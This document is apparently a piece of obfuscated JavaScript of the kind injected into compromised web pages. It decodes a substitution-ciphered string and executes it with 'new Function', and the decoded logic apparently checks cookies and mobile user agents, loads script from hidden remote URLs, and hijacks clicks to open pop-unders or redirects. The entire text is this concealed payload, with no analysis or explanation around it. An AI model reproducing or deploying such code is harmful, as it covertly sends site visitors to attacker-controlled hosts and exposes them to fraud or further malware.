wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();